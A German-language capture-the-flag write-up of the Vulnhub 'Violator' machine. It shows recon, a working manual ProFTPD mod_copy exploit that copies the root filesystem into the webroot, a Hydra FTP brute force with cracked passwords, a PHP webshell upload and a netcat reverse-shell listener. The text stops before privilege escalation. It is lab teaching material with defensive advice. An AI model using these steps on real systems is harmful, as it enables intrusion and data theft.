Violator - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nmap
curl
nikto
gobuster
searchsploit
msfconsole
ftp
echo
hydra
nc
su
sudo
find
pkexec
cat
pwd

Inhaltsverzeichnis

Reconnaissance

Analyse: Ein ARP-Scan wird im lokalen Netzwerk ausgeführt, um aktive Hosts zu entdecken.
Bewertung: Der Scan identifiziert die IP-Adresse `192.168.2.156` des Zielsystems. Die MAC-Adresse `08:00:27:d5:67:f7` weist auf eine Oracle VirtualBox VM hin.
Empfehlung (Offensiv): Die gefundene IP als Ziel für weitere Scans notieren.
Empfehlung (Defensiv): Standard-Netzwerküberwachung implementieren, um Scanning-Aktivitäten zu erkennen.

 ARP-Scan
192.168.2.156	08:00:27:d5:67:f7	PCS Systemtechnik GmbH
                     

Analyse: Die IP `192.168.2.156` wird dem Hostnamen `violator.vln` in der lokalen `/etc/hosts`-Datei zugeordnet.
Bewertung: Dies vereinfacht die Ansprache des Ziels in nachfolgenden Schritten.
Empfehlung (Offensiv): Sinnvolle Maßnahme zur Verbesserung der Lesbarkeit von Befehlen und Berichten.
Empfehlung (Defensiv): Hat keine direkten Auswirkungen auf die Sicherheit des Zielsystems.

 /etc/hosts
192.168.2.156   violator.vln
                     

Analyse: Ein Nmap-Scan wird mit SYN-Scan (`-sS`), Standardskripten (`-sC`), Versionserkennung (`-sV`), aggressiven Optionen (`-A`), allen Ports (`-p-`), ohne Ping-Scan (`-Pn`) und hoher Rate (`--min-rate 5000`) durchgeführt. Die Ausgabe wird direkt nach offenen Ports gefiltert.
Bewertung: Der gefilterte Scan identifiziert schnell zwei offene Ports: 21 (FTP - ProFTPD 1.3.5rc3) und 80 (HTTP - Apache 2.4.7). Beide Dienste laufen auf relativ alten Versionen.
Empfehlung (Offensiv): Die Dienste auf Port 21 und 80 genauer untersuchen, insbesondere auf bekannte Schwachstellen der identifizierten Versionen.
Empfehlung (Defensiv): Nicht benötigte Dienste schließen. Software (ProFTPD, Apache) dringend aktualisieren. IDS/IPS zur Erkennung von High-Rate-Scans einsetzen.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
21/tcp open  ftp     ProFTPD 1.3.5rc3
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))

Analyse: Der vollständige Nmap-Scan wird angezeigt.
Bewertung: Bestätigt die offenen Ports 21 (ProFTPD 1.3.5rc3) und 80 (Apache 2.4.7 auf Ubuntu). ProFTPD 1.3.5rc3 ist bekannt für kritische Schwachstellen (insbesondere CVE-2015-3306, mod_copy). Apache 2.4.7 ist ebenfalls sehr alt und anfällig für diverse bekannte Lücken. Die Webseite auf Port 80 hat einen spezifischen Titel ("I Say... I say... I say Boy! You pumpin' for oil or somethin'...?"), der auf ein Thema (Foghorn Leghorn) hindeutet. OS-Erkennung deutet auf Linux 3.x/4.x.
Empfehlung (Offensiv): Die ProFTPD-Version 1.3.5rc3 ist das primäre Ziel. Die `mod_copy`-Schwachstelle (CVE-2015-3306) sollte untersucht und ausgenutzt werden. Den Webserver als sekundäres Ziel betrachten.
Empfehlung (Defensiv): ProFTPD und Apache dringend aktualisieren oder durch sicherere Alternativen ersetzen.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-30 21:32 CET
Nmap scan report for violator.vln (192.168.2.156)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.5rc3
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: I Say... I say... I say Boy! You pumpin' for oil or somethin'...?
|_http-server-header: Apache/2.4.7 (Ubuntu)
MAC Address: 08:00:27:D5:67:F7 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Unix

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms violator.vln (192.168.2.156)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.66 seconds

Web Enumeration

Analyse: Eine HEAD-Anfrage wird mittels `curl -Iv` an den Webserver auf Port 80 gesendet.
Bewertung: Die Antwort bestätigt den Apache 2.4.7 Server und liefert Standard-Header ohne besondere Auffälligkeiten. Der `Content-Length` ist klein (318 Bytes).
Empfehlung (Offensiv): Die Webseite im Browser ansehen und den Quellcode prüfen. Weiter mit Directory Brute-Forcing.
Empfehlung (Defensiv): Server-Tokens minimieren (`ServerTokens Prod` in Apache-Konfig).

┌──(root㉿CCat)-[~]
└─# curl -Iv http://$IP
*   Trying 192.168.2.156:80...
* Connected to 192.168.2.156 (192.168.2.156) port 80
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: 192.168.2.156
> User-Agent: curl/8.10.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Mon, 30 Dec 2024 20:32:49 GMT
< Server: Apache/2.4.7 (Ubuntu)
< Last-Modified: Sun, 12 Jun 2016 17:26:10 GMT
< ETag: "13e-53518115c6709"
< Accept-Ranges: bytes
< Content-Length: 318
< Vary: Accept-Encoding
< Content-Type: text/html
<

* Connection #0 to host 192.168.2.156 left intact

Analyse: Ein Nikto-Scan wird gegen Port 80 ausgeführt.
Bewertung: Nikto meldet die üblichen Findings für ältere Apache-Server: fehlende Sicherheitsheader, ETag-Leak, veraltete Version. Es findet auch die Standarddatei `/icons/README` und eine verdächtige `/#wp-config.php#`. Angesichts der Einfachheit der Seite und des Titels ist letzteres wahrscheinlich wieder eine Irreführung.
Empfehlung (Offensiv): Die Nikto-Ergebnisse deuten nicht auf spezifische Web-Schwachstellen hin, die über die veraltete Apache-Version hinausgehen. Fokus weiterhin auf ProFTPD.
Empfehlung (Defensiv): Apache aktualisieren, Sicherheitsheader implementieren, Standarddateien entfernen/schützen. Sicherstellen, dass keine Backup-Dateien im Webroot liegen.

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.156
+ Target Hostname:    192.168.2.156
+ Target Port:        80
+ Start Time:         2024-12-30 21:32:48 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 13e, size: 53518115c6709, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8102 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2024-12-30 21:33:08 (GMT1) (20 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Gobuster wird für Directory/File Brute-Forcing gegen Port 80 eingesetzt.
Bewertung: Der Scan findet lediglich die `index.html`. Dies bestätigt, dass die Webseite sehr minimalistisch ist und keine offensichtlichen versteckten Pfade enthält.
Empfehlung (Offensiv): Die Web-Enumeration liefert keine brauchbaren Angriffsvektoren. Konzentration auf den FTP-Dienst.
Empfehlung (Defensiv): Nicht relevant, da keine sensiblen Pfade gefunden wurden.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x [...] -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.5
[...]
===============================================================
[+] Url:                     http://192.168.2.156
[...]
===============================================================
2024/12/30 21:33:15 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.2.156/index.html           (Status: 200) [Size: 318]

===============================================================
2024/12/30 21:34:30 Finished
===============================================

Vulnerability Assessment

Analyse: Ein Nmap-Scan mit dem `--script vuln`-Parameter wird ausgeführt, um gezielt nach bekannten Schwachstellen in den erkannten Diensten zu suchen.
Bewertung: Dieser Scan liefert kritische Ergebnisse:

Empfehlung (Offensiv): Die ProFTPD `mod_copy`-Schwachstelle (CVE-2015-3306) priorisieren und versuchen auszunutzen. Dies ist der wahrscheinlichste Weg zum Initial Access.
Empfehlung (Defensiv): Beide Dienste (ProFTPD und Apache) dringend patchen oder ersetzen.

┌──(root㉿CCat)-[~]
└─# nmap -sV -A --script vuln $IP -T5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-30 21:53 CET
Pre-scan script results:
[...]
Nmap scan report for violator.vln (192.168.2.156)
Host is up (0.00015s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.5rc3
| vulners:
|   cpe:/a:proftpd:proftpd:1.3.5rc3:
|           SAINT:FD1752E124A72FD3A26EEB9B315E8382  10.0    https://vulners.com/saint/SAINT:FD1752E124A72FD3A26EEB9B315E8382    *EXPLOIT*
|           SAINT:950EB68D408A40399926A4CCAD3CC62E  10.0    https://vulners.com/saint/SAINT:950EB68D408A40399926A4CCAD3CC62E    *EXPLOIT*
|           SAINT:63FB77B9136D48259E4F0D4CDA35E957  10.0    https://vulners.com/saint/SAINT:63FB77B9136D48259E4F0D4CDA35E957    *EXPLOIT*
|           SAINT:1B08F4664C428B180EEC9617B41D9A2C  10.0    https://vulners.com/saint/SAINT:1B08F4664C428B180EEC9617B41D9A2C    *EXPLOIT*
|           PRFTPD_MOD_CPY  10.0    https://vulners.com/canvas/PRFTPD_MOD_CPY   *EXPLOIT*
|           PACKETSTORM:162777      10.0    https://vulners.com/packetstorm/PACKETSTORM:162777      *EXPLOIT*
|           PACKETSTORM:132218      10.0    https://vulners.com/packetstorm/PACKETSTORM:132218      *EXPLOIT*
|           PACKETSTORM:131567      10.0    https://vulners.com/packetstorm/PACKETSTORM:131567      *EXPLOIT*
|           PACKETSTORM:131555      10.0    https://vulners.com/packetstorm/PACKETSTORM:131555      *EXPLOIT*
|           PACKETSTORM:131505      10.0    https://vulners.com/packetstorm/PACKETSTORM:131505      *EXPLOIT*
|           EDB-ID:49908    10.0    https://vulners.com/exploitdb/EDB-ID:49908      *EXPLOIT*
|           EDB-ID:37262    10.0    https://vulners.com/exploitdb/EDB-ID:37262      *EXPLOIT*
|           CVE-2015-3306   10.0    https://vulners.com/cve/CVE-2015-3306
[...]
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Apache/2.4.7 (Ubuntu)
| vulners:
|   cpe:/a:apache:http_server:2.4.7:
[...]
MAC Address: 08:00:27:D5:67:F7 (Oracle VirtualBox virtual NIC)
[...]
Service Info: OS: Unix

TRACEROUTE
[...]
Nmap done: 1 IP address (1 host up) scanned in 354.58 seconds

Analyse: Der Quellcode der `index.html` wird angezeigt.
Bewertung: Enthält einen Foghorn Leghorn-Text, ein Bild (`foggie.jpg`) und einen Kommentar mit einem Link zur Wikipedia-Seite des Depeche Mode Albums "Violator". Dies verstärkt das Thema und könnte Hinweise auf Benutzernamen oder Passwörter geben (Albumtitel, Songtitel, Bandmitglieder).
Empfehlung (Offensiv): Das Thema "Depeche Mode / Violator" für die Erstellung von Wortlisten für Brute-Force-Angriffe nutzen.
Empfehlung (Defensiv): Kommentare und Inhalte, die Hinweise auf Themen geben könnten, vermeiden.

I Say... I say... I say Boy! You pumpin' for oil or somethin'...?
I Say.. I say... I say boy!  You're barkin up the wrong tree!
 img src="foggie.jpg" 
< -- https://en.wikipedia.org/wiki/Violator_(album)  -->

Analyse: `searchsploit` wird verwendet, um lokal nach Exploits für "Apache 2.4.7" zu suchen.
Bewertung: Es werden mehrere Exploits gefunden, darunter auch für DoS und einen Race Condition in `mod_status`. Keiner sticht als direkter RCE-Exploit für eine Standardkonfiguration hervor.
Empfehlung (Offensiv): Bestätigt die Ergebnisse des Nmap-Vuln-Scans. Die Apache-Schwachstellen sind weniger vielversprechend als die ProFTPD-Lücke.
Empfehlung (Defensiv): Apache patchen.

┌──(root㉿CCat)-[~]
└─# searchsploit "Apache 2.4.7"
------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                    |  Path
------------------------------------------------------------------ ---------------------------------
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution   | php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Source  | php/remote/29316.py
Apache 2.4.7 + PHP 7.0.2 - 'openssl_seal()' Uninitialized Memory  | php/remote/40142.php
Apache 2.4.7 mod_status - Scoreboard Handling Race Condition      | linux/dos/34133.txt
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak                  | linux/webapps/42745.py
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service               | multiple/dos/26710.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overf | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Ove | unix/remote/47080.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Ove | unix/remote/764.c
Apache OpenMeetings 1.9.x < 3.1.0 - '.ZIP' File Directory Travers | linux/webapps/39642.txt
Apache Tomcat < 5.5.17 - Remote Directory Listing                 | multiple/remote/2061.txt
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal               | unix/remote/14489.c
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC)         | multiple/remote/6229.txt
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.88 - J | jsp/webapps/42966.py
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.88 - J | windows/webapps/42953.txt
Apache Xerces-C XML Parser < 3.1.2 - Denial of Service (PoC)      | linux/dos/36906.txt
Webfroot Shoutbox < 2.32 (Apache) - Local File Inclusion / Remote | linux/remote/34.pl
------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

Initial Access (ProFTPD Mod_Copy Exploit)

Analyse: Metasploit (`msfconsole`) wird gestartet und nach dem Exploit für ProFTPD 1.3.5 gesucht (`search ProFTPD 1.3.5 Mod_Copy`). Das Modul `exploit/unix/ftp/proftpd_modcopy_exec` wird ausgewählt und ausgeführt.
Bewertung: Das Metasploit-Modul versucht, die `mod_copy`-Schwachstelle (CVE-2015-3306) auszunutzen. Diese erlaubt es einem Angreifer, beliebige Dateien zu kopieren. Das Modul versucht typischerweise, eine PHP-Datei mit einer Webshell oder einem Reverse-Shell-Payload in das Web-Verzeichnis zu kopieren. Die Ausführung des Moduls schlägt jedoch mehrfach fehl ("Failure copying to temporary payload file", "Exploit completed, but no session was created."). Die Versuche, Optionen (`TARGETURI`, `TMPPATH`, etc.) zurückzusetzen, ändern daran nichts.
Empfehlung (Offensiv): Da Metasploit scheitert, die Schwachstelle manuell ausnutzen. Die `SITE CPFR` und `SITE CPTO` Befehle direkt über einen FTP-Client verwenden, um Dateien zu kopieren.
Empfehlung (Defensiv): ProFTPD dringend aktualisieren.

┌──(root㉿CCat)-[~]
└─# msfconsole -q
msf6 > search ProFTPD 1.3.5 Mod_Copy Command Execution

Matching Modules
================

   #  Name                                   Disclosure Date  Rank       Check  Description
   -  ----                                   ---------------  ----       -----  -----------
   0  exploit/unix/ftp/proftpd_modcopy_exec  2015-04-22       excellent  Yes    ProFTPD 1.3.5 Mod_Copy Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/proftpd_modcopy_exec

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run

[*] Started reverse TCP handler on 192.168.2.199:4444
[*] 192.168.2.156:80 - 192.168.2.156:21 - Connected to FTP server
[*] 192.168.2.156:80 - 192.168.2.156:21 - Sending copy commands to FTP server
[-] 192.168.2.156:80 - Exploit aborted due to failure: unknown: 192.168.2.156:21 - Failure copying to temporary payload file
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run

[*] Started reverse TCP handler on 192.168.2.199:4444
[*] 192.168.2.156:80 - 192.168.2.156:21 - Connected to FTP server
[*] 192.168.2.156:80 - 192.168.2.156:21 - Sending copy commands to FTP server
[-] 192.168.2.156:80 - Exploit aborted due to failure: unknown: 192.168.2.156:21 - Failure copying to temporary payload file
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > unset TARGETURI
Unsetting TARGETURI...
[!] Variable "TARGETURI" unset - but will use a default value still. If this is not desired, set it to a new value or attempt to clear it with set --clear TARGETURI
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set --clear TARGETURI
TARGETURI =>
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set --clear TMPPATH
TMPPATH =>
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set --clear RPORT_FTP
RPORT_FTP =>
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set --clear RPORT
RPORT =>
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run

Analyse: Der Pentester wechselt zur manuellen Ausnutzung der `mod_copy`-Schwachstelle. Eine FTP-Verbindung wird aufgebaut (Login als `anonymous` scheitert). Dann werden die `SITE CPFR`- und `SITE CPTO`-Befehle verwendet.
Bewertung:

Dies ist der erfolgreiche Exploit! Das gesamte Dateisystem ist nun über `http://violator.vln/root/` lesbar.
Ergebnis: Initial Access in Form von Lesezugriff auf das gesamte Dateisystem über den Webserver wurde erlangt.
Empfehlung (Offensiv): Das Dateisystem über den Webbrowser oder `curl/wget` durchsuchen, insbesondere nach Konfigurationsdateien (`/etc/passwd`, `/etc/shadow`), SSH-Schlüsseln und Benutzer-Home-Verzeichnissen.
Empfehlung (Defensiv): ProFTPD dringend aktualisieren, um CVE-2015-3306 zu schließen. Sicherstellen, dass Webserver-Verzeichnisse nicht für solche Kopiervorgänge missbraucht werden können.

┌──(root㉿CCat)-[~]
└─# ftp 192.168.2.156
Connected to 192.168.2.156.
220 ProFTPD 1.3.5rc3 Server (Debian) [ffff:192.168.2.156]
Name (192.168.2.156:ccat): anonymous
331 Password required for anonymous
Password:
530 Login incorrect.
ftp: Login failed
ftp> site cpfr /proc/self/root
350 File or directory exists, ready for destination name
ftp> site cpto /var/www/html/root
250 Copy successful

Credential Discovery & Bruteforce

Analyse: Der Pentester navigiert im Browser zu `http://192.168.2.156/root/`, was das über FTP kopierte Root-Verzeichnis des Systems anzeigt.
Bewertung: Directory Indexing auf dem Apache-Server erlaubt das bequeme Durchsuchen des exponierten Dateisystems.
Empfehlung (Offensiv): Nach sensiblen Dateien suchen, insbesondere `/etc/passwd` und `/etc/shadow`.
Empfehlung (Defensiv): Directory Indexing deaktivieren. Die ProFTPD-Schwachstelle beheben.

http://192.168.2.156/root/

Index of /root
[ICO]	Name	Last modified	Size	Description
[PARENTDIR]	Parent Directory	 	-
[DIR]	bin/	2016-06-06 21:54 	-
[DIR]	boot/	2016-06-14 19:43 	-
[DIR]	dev/	2024-12-30 20:31 	-
[DIR]	etc/	2024-12-30 20:31 	-
[DIR]	home/	2016-06-06 22:07 	-
[ ]	initrd.img	2016-06-14 19:42 	19M
[DIR]	lib/	2016-06-06 21:30 	-
[DIR]	lib64/	2016-06-06 21:30 	-
[DIR]	media/	2016-06-01 15:30 	-
[DIR]	mnt/	2014-04-10 23:12 	-
[DIR]	opt/	2015-08-05 06:11 	-
[DIR]	proc/	2024-12-30 20:31 	-
[DIR]	run/	2024-12-30 20:31 	-
[DIR]	sbin/	2016-06-14 19:49 	-
[DIR]	srv/	2016-06-01 15:45 	-
[DIR]	sys/	2024-12-30 20:31 	-
[DIR]	tmp/	2024-12-30 21:45 	-
[DIR]	usr/	2016-06-01 15:30 	-
[DIR]	var/	2016-06-06 20:43 	-
[ ]	vmlinuz	2016-06-09 00:32 	5.6M
Apache/2.4.7 (Ubuntu) Server at 192.168.2.156 Port 80

Analyse: Der Inhalt der Datei `/etc/passwd` wird über den Webserver abgerufen (`http://192.168.2.156/root/etc/passwd`).
Bewertung: Die Datei listet die Benutzer des Systems auf. Interessant sind die Benutzer mit Shell-Zugriff (`/bin/bash`): `root`, `dg` (Dave Gahan), `mg` (Martin Gore), `af` (Andrew Fletcher), `aw` (Alan Wilder). Die Namen deuten klar auf das Depeche Mode-Thema hin.
Empfehlung (Offensiv): Die Benutzernamen `dg`, `mg`, `af`, `aw` als Ziele für Passwort-Brute-Force-Angriffe (z.B. gegen FTP) verwenden. Eine themenbezogene Wortliste (Depeche Mode Songs, Alben, etc.) erstellen.
Empfehlung (Defensiv): Benutzernamen sollten nicht leicht erratbar oder themenbezogen sein. Sicherstellen, dass `/etc/passwd` nicht über Webserver oder andere Dienste exponiert wird.

http://192.168.2.156/root/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
dg:x:1000:1000:Dave Gahan,,,:/home/dg:/bin/bash
proftpd:x:104:65534::/var/run/proftpd:/bin/false
ftp:x:105:65534::/srv/ftp:/bin/false
mg:x:1001:1001:Martin Gore:/home/mg:/bin/bash
af:x:1002:1002:Andrew Fletcher:/home/af:/bin/bash
aw:x:1003:1003:Alan Wilder:/home/aw:/bin/bash

Analyse: Eine themenbezogene Passwortliste wird erstellt (basierend auf Depeche Mode Songtiteln: `policyoftruth`, `bluedress`, `enjoythesilence`). Eine Benutzerliste (`users.txt`) wird mit den Namen `dg`, `af`, `mg` erstellt.
Bewertung: Vorbereitung für einen gezielten Brute-Force-Angriff auf den FTP-Dienst.
Empfehlung (Offensiv): Hydra oder ein ähnliches Tool mit diesen Listen verwenden.
Empfehlung (Defensiv): Passwörter sollten keinen Bezug zum Systemthema oder leicht erratbaren Mustern haben.

liste bauen für brute force

policyoftruth
bluedress
enjoythesilence
┌──(root㉿CCat)-[~]
└─# echo -e "dg\naf\nmg\n" > users.txt

Analyse: Hydra wird eingesetzt, um die erstellten Benutzer- (`users.txt`) und Passwortlisten (`text.txt`, enthält die Songtitel) gegen den FTP-Dienst zu testen.
Bewertung: Hydra ist erfolgreich und findet gültige Anmeldedaten für alle drei Benutzer:

Empfehlung (Offensiv): Einen der gefundenen Accounts (z.B. `dg`) verwenden, um sich per FTP einzuloggen und nach weiteren Möglichkeiten (Schreibrechte, sensible Dateien) zu suchen.
Empfehlung (Defensiv): Starke, einzigartige Passwörter verwenden. Account-Lockout implementieren.

┌──(root㉿CCat)-[~]
└─# hydra -L users.txt -P text.txt ftp://192.168.2.156 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-30 23:12:48
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, X login tries [...], ~X tries per task
[DATA] attacking ftp://192.168.2.156:21/
[21][ftp] host: 192.168.2.156   login: dg   password: policyoftruth
[21][ftp] host: 192.168.2.156   login: af   password: enjoythesilence
[21][ftp] host: 192.168.2.156   login: mg   password: bluedress
[STATUS] attack finished found 3 valid logins [...]
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at [...]

Webshell & Reverse Shell

Analyse: Login per FTP als Benutzer `dg` mit dem Passwort `policyoftruth`. Es wird versucht, eine PHP-Reverse-Shell (`rev.php`) hochzuladen.
Bewertung: Der Upload ins Home-Verzeichnis (`/home/dg`) scheitert mit "No space left on device". Der Versuch, ins Web-Verzeichnis `/var/www/` zu wechseln und dort hochzuladen, scheitert mit "Permission denied". Schließlich wird ins Unterverzeichnis `/var/www/html` gewechselt (das lt. `ls -la` die Rechte `drwxrwxrwx` hat, also weltweit beschreibbar ist!) und der Upload von `rev.php` gelingt.
Empfehlung (Offensiv): Die hochgeladene `rev.php` über den Webserver aufrufen (`http://violator.vln/rev.php`), um Code auszuführen oder eine Reverse Shell zu erhalten.
Empfehlung (Defensiv): Web-Verzeichnisse niemals weltweit beschreibbar machen (`chmod 777` ist fast immer falsch). Berechtigungen restriktiv setzen (z.B. 755 für Verzeichnisse, 644 für Dateien). Die "No space"-Meldung sollte untersucht werden (Quota, volles Dateisystem?).

┌──(root㉿CCat)-[~]
└─# ftp 192.168.2.156
Connected to 192.168.2.156.
220 ProFTPD 1.3.5rc3 Server (Debian) [ffff:192.168.2.156]
Name (192.168.2.156:ccat): dg
331 Password required for dg
Password: policyoftruth
230 User dg logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
[...]
ftp> put rev.php
local: rev.php remote: rev.php
229 Entering Extended Passive Mode (|||40471|)
150 Opening BINARY mode data connection for rev.php
100% |*|    31      864.95 KiB/s    00:00 ETA
452 Transfer aborted. No space left on device
31 bytes sent in 00:00 (77.42 KiB/s)
ftp> cd /var/www/
250 CWD command successful
ftp> put rev.php
local: rev.php remote: rev.php
229 Entering Extended Passive Mode (|||8524|)
550 rev.php: Permission denied
ftp> ls -la
229 Entering Extended Passive Mode (|||14903|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x   3 root     root         4096 Jun  6  2016 .
drwxr-xr-x  13 root     root         4096 Jun  6  2016 ..
drwxrwxrwx   2 www-data www-data     4096 Dec 30 21:52 html  <-- World Writable!
226 Transfer complete
ftp> cd html
250 CWD command successful
ftp> put rev.php
local: rev.php remote: rev.php
229 Entering Extended Passive Mode (|||48582|)
150 Opening BINARY mode data connection for rev.php
100% |*|    31        1.55 MiB/s    00:00 ETA
226 Transfer complete
31 bytes sent in 00:00 (62.41 KiB/s)
ftp> ls -la
229 Entering Extended Passive Mode (|||25211|)
150 Opening ASCII mode data connection for file list
drwxrwxrwx   2 www-data www-data     4096 Dec 30 22:33 .
drwxr-xr-x   3 root     root         4096 Jun  6  2016 ..
-rw-rw-r--   1 dg       dg          51256 Jun  6  2016 foggie.jpg
-rw-rw-r--   1 dg       dg            318 Jun 12  2016 index.html
-rw-r--r--   1 dg       dg             31 Dec 30 22:33 rev.php
226 Transfer complete

Analyse: Die hochgeladene Datei `rev.php` wird über den Browser aufgerufen und der Parameter `cmd=id` übergeben. (Der Hostname im Beispiel `192.168.2.157` ist wahrscheinlich ein Tippfehler und sollte `192.168.2.156` sein).
Bewertung: Die Ausgabe `uid=33(www-data) gid=33(www-data) groups=33(www-data)` bestätigt, dass die PHP-Datei erfolgreich ausgeführt wird und Befehle im Kontext des Webserver-Benutzers `www-data` entgegennimmt. Dies ist eine funktionierende Webshell.
Empfehlung (Offensiv): Die Webshell nutzen, um eine Reverse Shell zu bekommen oder weitere Enumeration durchzuführen.
Empfehlung (Defensiv): PHP-Ausführung in Upload-Verzeichnissen oder weltweit beschreibbaren Verzeichnissen verhindern. Dateisystemüberwachung zur Erkennung verdächtiger Dateien.

http://192.168.2.156/rev.php?cmd=id 

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet. Anschließend wird über die Webshell ein Bash-Reverse-Shell-Befehl (URL-kodiert) ausgeführt, der eine Verbindung zum Listener herstellt.
Bewertung: Die Verbindung wird erfolgreich aufgebaut (`connect to [...] from [...]`), und der Angreifer erhält eine interaktive Shell als Benutzer `www-data` auf dem Zielsystem.
Empfehlung (Offensiv): Die `www-data`-Shell zur weiteren Enumeration und Privilegieneskalation verwenden.
Empfehlung (Defensiv): Egress-Filtering (Blockieren ausgehender Verbindungen zu unbekannten Ports/IPs). Überwachung auf verdächtige Prozesse und Netzwerkverbindungen.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
